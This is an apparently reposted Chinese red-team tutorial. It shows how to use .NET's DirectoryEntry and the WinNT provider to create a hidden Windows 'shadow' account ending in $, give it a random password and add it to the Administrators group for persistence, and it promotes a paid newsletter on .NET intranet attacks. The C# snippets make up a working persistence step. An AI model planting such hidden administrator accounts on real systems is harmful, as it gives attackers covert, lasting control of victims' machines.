长亭百川云 - 文章详情

.NET 通过系统影子账户实现权限维持

dotNet安全矩阵

38

2024-07-21

01

阅读须知

此文所节选自小报童《.NET 内网实战攻防》专栏,主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,对内网和后渗透感兴趣的朋友们可以订阅该电子报刊,解锁更多的报刊内容。

02

基本介绍

本文内容部分节选自小报童《.NET 通过创建系统影子账户实现权限维持》,完整的文章内容请加入小报童后订阅查看。现在限时只需49元,永久买断!目前已有120+位朋友抢先预定,我们会长期更新,对.NET内网安全的朋友们请尽快订阅该报刊!

03

编码实现

在 Windows 操作系统中,影子用户通常是指那些不易被普通用户或系统管理员察觉的隐藏用户账户,创建影子用户常见的做法是在用户名后面添加 $ 符号,例如,admin$。通过这种方式创建的用户不会显示在 Windows 登录界面或命令行中,因此常用于维持目标权限阶段。下面,我们将详细介绍如何通过影子账户实现权限维持。

3.1 创建账户

在.NET中,我们可以使用System.DirectoryServices命名空间可以方便地管理用户和组。首先通过创建一个DirectoryEntry对象访问本地计算机的目录服务,具体实现代码如下所示。

DirectoryEntry AD = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer");

协议中的 <主机名>:表示目标计算机的名称,可以是本地计算机或远程计算机。<对象类型>:表示目录对象的类型,如 computer、user、group 等。<对象名称>:表示目录对象的名称,如用户名或组名。比如访问本地test用户,在.NET中可以使用如下代码

DirectoryEntry localUser = new DirectoryEntry("WinNT://" + Environment.MachineName + "/User/username");

接着,使用DirectoryEntry 实例化之后对象Children.Add方法添加一个新的系统用户对象,具体代码如下所示。

string username = user + "$";  
string chars = "!@#$%0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";  
Random randrom = new Random((int)DateTime.Now.Ticks);  
string password = "";  
for (int i = 0; i < 10; i++)  
{  
      password += chars[randrom.Next(chars.Length)].ToString();  
}  
DirectoryEntry NewUser = AD.Children.Add(username, "user");  
NewUser.Invoke("SetPassword", new object[]  
{  
    password  
});

3.2 添加到管理员组

随后,我们需要将新创建的系统用户分别添加到Administrators组和Remote Desktop Users组,这样用户就具备了超级管理员和远程登录的权限。

DirectoryEntry grp = AD.Children.Find("Administrators", "group");  
bool flag2 = grp != null;  
if (flag2)  
{  
    grp.Invoke("Add", new object[]  
    {  
        NewUser.Path.ToString()  
    });  
}

利用系统影子账户是一种常见且有效的方法。通过使用 DirectoryEntry 类和 WinNT 协议接口,在本地计算机上创建新用户并将其添加到系统的管理员组,方便红队持续维持目标权限,想要了解更多内网权限维持的文章,可以移步订阅小报童《.NET 内网实战攻防》电子报刊。

04

欢迎加入.NET 电子报刊

我们的小报童电子报刊【.NET内网安全攻防】也开始运营,引入小报童也是为了弥补知识星球对于轻量级阅读支持的不足,为用户读者提供更佳的阅读体验。如果您对阅读体验的需求比较高,那么可以订阅这个专栏。

本次电子报刊《.NET 内网安全攻防》专栏,内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。

1) .NET 安全防御绕过  
2) .NET 本地权限提升  
3) .NET 内网信息收集  
4) .NET 内网代理通道  
5) .NET 内网横向移动  
6) .NET 目标权限维持  
7) .NET 数据传输外发  
8) .NET 目标痕迹清理

原价899,现在限时只需49元,永久买断!目前已有100+位朋友抢先预定,我们会长期更新,初步计划保持每周更新1-2篇新内容,对.NET内网安全的朋友们请尽快订阅该报刊!

每增加五十人涨价10元,抓紧订阅,超值!订阅后请关注公众号:dotNet安全矩阵,发送订单截图和您的微信号,邀请您加入专属交流群。感兴趣的朋友,可以点击链接:https://xiaobot.net/p/dotNetAttack,或者扫描下方海报微信二维码加入即可,订阅后小报童定时会将最新内容通过微信推送给您。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2